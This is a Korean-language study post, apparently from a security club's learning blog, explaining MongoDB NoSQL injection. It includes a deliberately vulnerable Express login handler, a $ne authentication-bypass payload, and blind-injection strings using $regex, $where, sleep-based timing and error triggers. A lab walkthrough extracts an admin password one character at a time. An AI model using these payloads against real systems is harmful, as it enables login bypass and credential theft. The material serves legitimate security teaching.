키워드
- NoSQL injection: 요청 구문에 이용자의 입력 값을 삽입해 이용자가 원하는 요청을 실행할 수 있는 취약점
- Blind NoSQL Injection: 데이터 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용될 수 있는 NoSQL Injection 공격 기법
이전에 학습한 SQL Injection 과 유사하다.
모든 DBMS를 다루지 않고, MongoDB 를 사용할 때 발생하는 NoSQL Injection에 대해서 알아봅시다.
MongoDB 의 NoSQL Injection 취약점은 주로 이용자의 입력값에 대한 타입 검증이 불충분할 때 발생한다.
- MongoDB는 저장하는 데이터 자료형으로 문자열, 정수, 날짜, 실수 뿐만 아니라 오브젝트, 배열 타입을 사용
- 오브젝트 타입의 입력값을 처리할 때, 다양한 쿼리 연산자를 사용할 수 있다.
- 연산자를 가지고 공격자가 쿼리를 조작하는 취약점 발생
입력값 타입 예시
http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ]
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true }
type: object
http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' }
type: object
이와 같이 [] 나 {key:value} 형식으로 된 object 타입이 입력될 수 있다.
NoSQL Injection
모듈을 통한 실습
const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded( {extended : false } ));
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.post('/query', function(req,res) {
db.collection('user').find({
'uid': req.body.uid,
'upw': req.body.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(80, function(){
console.log('app.listen');
});
모듈 코드를 봐보면
user 컬렉션에서 uid와 upw 에 해당하는 데이터를 찾아서(.find) 출력한다.
이때, 이용자의 입력값에 대해 타입을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있다는 취약점이 발생한다.
오브젝트 타입의 값을 입력할 수 있기 때문에,
연산자를 사용할 수 있다.
$ne 연산자를 통해 공격자는 계정 정보를 몰라도 데이터를 조회할 수 있게 된다.

Exploit
{"uid": "admin", "upw": {"$ne":""}}
upw 에 $ne 연산자를 사용하여 upw 값에 상관없이 uid가 admin인 데이터를 조회할 수 있다.
Blind NoSQL Injection
위에서는 인증 우회 방법으로 공격했다면, 참/거짓 결과를 통해 데이터베이스 정보를 알아내는 공격 기법
사용되는 연산자
$regex
정규식을 사용해 식과 일치하는 데이터를 조회
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
$where
인자로 전달한 Javascript 표현식을 만족하는 데이터를 조회
1. substring
upw 의 첫 글자를 비교해 데이터를 알아내는 쿼리
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
db.user.find({$where: "this.upw.substring(0,1)=='g'"})
쿼리를 통해 데이터를 조회하고 있다.
2. Sleep 함수를 통한 Time based Injection
upw 의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep 함수를 실행하는 쿼리
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
첫 글자와 g 를 비교하는 표현식과 함께 sleep 함수를 사용하여,
지연 시간을 통해 참/거짓 결과를 확인할 수 있다.
&& 연산자는 앞 조건이 참일 때만, 뒷 조건문으로 넘어가는 특성이 있다.
따라서 upw 의 첫 글자가 'g' 일 때, sleep(5000)&&1 을 실행하게 된다
다시 말하면,
시간 지연이 발생했을 때의 글자가 upw 의 첫 글자라는 것을 알 수 있게 된다.
한 가지 의문점.. 맨 뒤에 &&'1 은 어떤 의미를 가지고 있는지 모르겠다
3. Error based Injection
upw 의 첫 글자가 'g' 문자인 경우, 올바르지 않은 문법인 asdf 를 고의로 실행하면서 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
Blind NoSQL Injection
모듈을 통한 실습
모듈은 로그인에 성공할 경우, uid를 출력한다. admin 계정의 비밀번호를 획득하라.
Step1. 비밀번호 길이 획득
{"uid": "admin", "upw": {"$regex":".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex":".{6}"}}
=> undefined

정규식을 사용했을 때 .{5} 식이 uid 를 반환했으므로, 비밀번호 길이가 5 라는 것을 알 수 있다.
Step2. 비밀번호 획득
{"uid": "admin", "upw": {"$regex":"^a"}}
admin
{"uid": "admin", "upw": {"$regex":"^aa"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ab"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ap"}}
admin
...
{"uid": "admin", "upw": {"$regex":"^apple$"}}

정규식 중 ^ 는 입력의 시작부분을 나타낸다.
해당 문자 ^ 를 사용하여 비밀번호를 한 글자씩 알아내다 보면
upw 가 apple 이라는 것을 알 수 있다.
'KERT > HackHeat' 카테고리의 다른 글
파일 취약점(File Vulnerability) (0) | 2023.08.14 |
---|---|
Command Injection (0) | 2023.08.14 |
NoSQL 개념과 MongoDB 기본 문법 (0) | 2023.07.26 |
SQL Injection (0) | 2023.07.21 |
DBMS (0) | 2023.07.21 |